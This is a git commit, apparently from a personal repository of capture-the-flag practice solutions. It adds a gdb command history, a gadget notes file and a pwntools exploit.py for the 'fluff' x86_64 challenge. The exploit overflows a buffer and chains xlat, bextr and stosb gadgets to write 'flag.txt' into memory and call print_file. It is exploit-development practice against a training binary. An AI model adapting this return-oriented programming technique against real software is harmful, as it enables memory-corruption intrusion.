new file: x86_64/fluff/exploit.py
new file: x86_64/fluff/gadgets
This commit is contained in:
		
							parent
							
								
									3f54969f58
								
							
						
					
					
						commit
						4c25bd9188
					
				
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										239
									
								
								x86_64/fluff/.gdb_history
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										239
									
								
								x86_64/fluff/.gdb_history
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,239 @@ | ||||
| quit | ||||
| quit | ||||
| continue | ||||
| nexti | ||||
| nexti | ||||
| info reg rdi | ||||
| stepi | ||||
| nexti | ||||
| info reg rcx | ||||
| nexti | ||||
| info reg rbx | ||||
| stepi | ||||
| info reg rdx | ||||
| inro reg rbx | ||||
| info reg rbx | ||||
| quit | ||||
| stepi | ||||
| continue | ||||
| stepi | ||||
| x rbx | ||||
| info reg rbx | ||||
| quit | ||||
| conitnue | ||||
| continue | ||||
| stepi | ||||
| info reg rbx | ||||
| info reg rcx | ||||
| quit | ||||
| continue | ||||
| stepi | ||||
| info reg rbx | ||||
| info reg rdx | ||||
| quit | ||||
| continue | ||||
| stepi | ||||
| info reg rbx | ||||
| quit | ||||
| continue | ||||
| stepi | ||||
| info reg rbx | ||||
| quit | ||||
| continue | ||||
| stepi | ||||
| info reg rbx | ||||
| quit | ||||
| continue | ||||
| stepi | ||||
| stepi | ||||
| info reg rcx | ||||
| stepi | ||||
| info reg rbx | ||||
| info reg rdx | ||||
| quit | ||||
| continue | ||||
| stepi | ||||
| info reg rbx | ||||
| stepi | ||||
| info reg rbx | ||||
| quit | ||||
| stepi | ||||
| continue | ||||
| stepi | ||||
| info reg rbx | ||||
| stepi | ||||
| info reg rbx | ||||
| quit | ||||
| quit | ||||
| continue | ||||
| stepi | ||||
| info reg rbx | ||||
| quit | ||||
| stepi | ||||
| continue | ||||
| stepi | ||||
| info reg rbx | ||||
| stepi | ||||
| info reg rbx | ||||
| quit | ||||
| continue | ||||
| stepi | ||||
| info reg rbx | ||||
| stepi | ||||
| info reg rdx | ||||
| quit | ||||
| continue | ||||
| stepi | ||||
| info reg rbx | ||||
| quit | ||||
| continue | ||||
| stepi | ||||
| quit | ||||
| continue | ||||
| stepi | ||||
| info reg rbx | ||||
| quit | ||||
| quit | ||||
| continue | ||||
| stepi | ||||
| stepi | ||||
| info reg rbp | ||||
| stepi | ||||
| info reg rax | ||||
| stepi | ||||
| info reg rax | ||||
| stepi | ||||
| info reg rdi | ||||
| x/s 0x601be0 | ||||
| stepi | ||||
| x/s 0x601be0 | ||||
| stepi | ||||
| x/s 0x601be0 | ||||
| stepi | ||||
| x/s 0x601be0 | ||||
| stepi | ||||
| x/s 0x601be0 | ||||
| stepi | ||||
| x/s 0x601be0 | ||||
| q | ||||
| continue | ||||
| stepi | ||||
| x/s 0x601be0 | ||||
| stepi | ||||
| x/s 0x601be0 | ||||
| stepi | ||||
| x/s 0x601be0 | ||||
| stepi | ||||
| quit | ||||
| conitnue | ||||
| continue | ||||
| continue | ||||
| stepi | ||||
| quit | ||||
| x 0x0000000000400000 | ||||
| x/c 0x0000000000400000 | ||||
| x/c 0x00000000004003c4 | ||||
| x/c 0x0000000000400000 | ||||
| quit | ||||
| continue | ||||
| stepi | ||||
| x/s 0x601be0 | ||||
| x/c 0x0000000000400251 | ||||
| stepi | ||||
| stepi | ||||
| x/s flag.txt | ||||
| x/s 0x601be0 | ||||
| quit | ||||
| watch *0x601be0 + 7 | ||||
| continue | ||||
| x/s 0x601be0 | ||||
| continue | ||||
| x/s 0x601be0 | ||||
| x/s 0x601be1 | ||||
| x/s 0x601be0 | ||||
| x/s 0x601be7 | ||||
| continue | ||||
| x/s 0x601be7 | ||||
| x/s 0x601be0 | ||||
| continue | ||||
| quit | ||||
| watch *0x601be4 | ||||
| continue | ||||
| x/s 0x601be0 | ||||
| continue | ||||
| x/s 0x601be0 | ||||
| continue | ||||
| x/s 0x601be0 | ||||
| stepi | ||||
| stepi | ||||
| x/s $rdi | ||||
| x/s 0x601be0 | ||||
| quit | ||||
| continue | ||||
| x/s 0x601be0 | ||||
| quit | ||||
| break *0x00000000004006a3 | ||||
| continue | ||||
| context | ||||
| stepi | ||||
| x/s $rdi | ||||
| stepi | ||||
| quit | ||||
| break *0x00000000004006a3 | ||||
| continue | ||||
| context | ||||
| c/s 0x7ffdf0faba10 - 8 | ||||
| x/s 0x7ffdf0faba10 - 8 | ||||
| x/s 0x7ffdf0faba10 - 4 | ||||
| x/s 0x7ffdf0faba10 - 16 | ||||
| x/x 0x7ffdf0faba10 - 8 | ||||
| x/x 0x7ffdf0faba10  | ||||
| x/x 0x7ffdf0faba10 = 4 | ||||
| x/x 0x7ffdf0faba10 - 4 | ||||
| x/x 0x7ffdf0faba10 + 4 | ||||
| context | ||||
| info reg rdi | ||||
| info reg rip | ||||
| search  | ||||
| search 0x601be0 | ||||
| search --qword 0x601be0 | ||||
| search --qword 0x601be0 --writable | ||||
| search --qword 0x0000000000400510 --writable | ||||
| context | ||||
| continue | ||||
| stepi | ||||
| continue | ||||
| stepi | ||||
| quit | ||||
| break *0x00000000004006a3 | ||||
| continue | ||||
| stepi | ||||
| continue | ||||
| x/i 0x400639 | ||||
| x/10i 0x400639 | ||||
| quit | ||||
| break *0x400639 | ||||
| conitnue | ||||
| continue | ||||
| x/s 0x601be0 | ||||
| continue | ||||
| x/s 0x601be0 | ||||
| continue | ||||
| x/s 0x601be0 | ||||
| stepi | ||||
| quit | ||||
| break *0x400639 | ||||
| continue | ||||
| continue | ||||
| x/s 0x601be0 | ||||
| continue | ||||
| x/s 0x601be0 | ||||
| continue | ||||
| x/s 0x601be0 | ||||
| stepi | ||||
| stepi | ||||
| x/s 0x601be0 | ||||
| x/x 0x601be0 + 8 | ||||
| x/x 0x601be0 + 9 | ||||
| x/x 0x601be0 + 10 | ||||
| quit | ||||
							
								
								
									
										
											BIN
										
									
								
								x86_64/fluff/core
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								x86_64/fluff/core
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										49
									
								
								x86_64/fluff/exploit.py
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										49
									
								
								x86_64/fluff/exploit.py
									
									
									
									
									
										Executable file
									
								
							| @ -0,0 +1,49 @@ | ||||
| #!/usr/bin/env python3 | ||||
| from pwn import * | ||||
| 
 | ||||
| letter_lookups = { | ||||
|         'f' : 0x00000000004003c4, | ||||
|         'l' : 0x0000000000400239, | ||||
|         'a' : 0x00000000004003d6, | ||||
|         'g' : 0x00000000004003cf, | ||||
|         '.' : 0x0000000000400251, | ||||
|         't' : 0x0000000000400192, | ||||
|         'x' : 0x0000000000400246} | ||||
| 
 | ||||
| def write_str(dest, string, payload): | ||||
|     payload += p64(0x00000000004006a3) | ||||
|     payload += p64(dest) | ||||
|     for c in string: | ||||
|         payload += p64(0x40062a) | ||||
|         payload += p64(0x4000) # if things go wrong, check endian/order | ||||
|         payload += p64(letter_lookups[c] - 0x3ef2) | ||||
| 
 | ||||
|         payload += p64(0x0000000000400610) | ||||
|         payload += p64(0) | ||||
| 
 | ||||
|         payload += p64(0x400628) | ||||
| 
 | ||||
|         payload += p64(0x400639) | ||||
| 
 | ||||
|     return(payload) | ||||
|          | ||||
| 
 | ||||
| prog = gdb.debug('./fluff', gdbscript=''' | ||||
| break *pwnme + 151 | ||||
| ''' | ||||
| ) | ||||
| payload = b'' | ||||
| for c in range(40): | ||||
|     payload += b'a' | ||||
| 
 | ||||
| payload = write_str(0x0000000000600df0 + 0x00000df0, 'flag.txt', payload) | ||||
| payload += p64(0x00000000004006a3) | ||||
| payload += p64(0x601be0) # set rdi | ||||
| 
 | ||||
| payload += p64(0x0000000000400510) | ||||
| 
 | ||||
| payload += b"\n" | ||||
| prog.sendline(payload) | ||||
| sleep(1) | ||||
| print(str(prog.recv(), 'UTF-8')) | ||||
| prog.interactive() | ||||
							
								
								
									
										44
									
								
								x86_64/fluff/gadgets
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										44
									
								
								x86_64/fluff/gadgets
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,44 @@ | ||||
| Memory bytes information | ||||
| ======================================================= | ||||
| 0x00000000004003c4 : 'f' | ||||
| 0x0000000000400239 : 'l' | ||||
| 0x00000000004003d6 : 'a' | ||||
| 0x00000000004003cf : 'g' | ||||
| 0x0000000000400000 : '.' | ||||
| 0x0000000000400192 : 't' | ||||
| 0x0000000000400246 : 'x' | ||||
| 0x0000000000400192 : 't' | ||||
| 
 | ||||
| 0x0000000000400610 : mov eax, 0 ; pop rbp ; ret | ||||
| 
 | ||||
| 400628: d7                    xlat   BYTE PTR ds:[rbx]          #mov al, [rbx + al] requires rbx | ||||
| *** | ||||
| 40062a: 5a                    pop    rdx | ||||
| 40062b: 59                    pop    rcx | ||||
| 40062c: 48 81 c1 f2 3e 00 00  add    rcx,0x3ef2 | ||||
| 400633: c4 e2 e8 f7 d9        bextr  rbx,rcx,rdx | ||||
| 
 | ||||
| #rdx is controller. | ||||
| rdx bits 0-7: starting bit | ||||
| rdx bits 8-15: length | ||||
| *** | ||||
| 400639: aa                    stos   BYTE PTR es:[rdi],al       #moves al to rdi, then adds rdi | ||||
|                                                                 # requires rdi (check), al | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| 0000000000400510 : print_file@plt | ||||
| 
 | ||||
| 
 | ||||
| 0x00000000004006a3 : pop rdi ; ret | ||||
| 
 | ||||
| 
 | ||||
| exploit: | ||||
| 
 | ||||
| write to memory using al as letter | ||||
|   set al to zero | ||||
|   set rbx to memory location | ||||
|     rcx: (location - 0x3ef2) before bextr | ||||
|     rdx: 0x00 0x20 (from position zero, using 32 bits) | ||||
| 
 | ||||
| 
 | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user
	 Brett Weiland
						Brett Weiland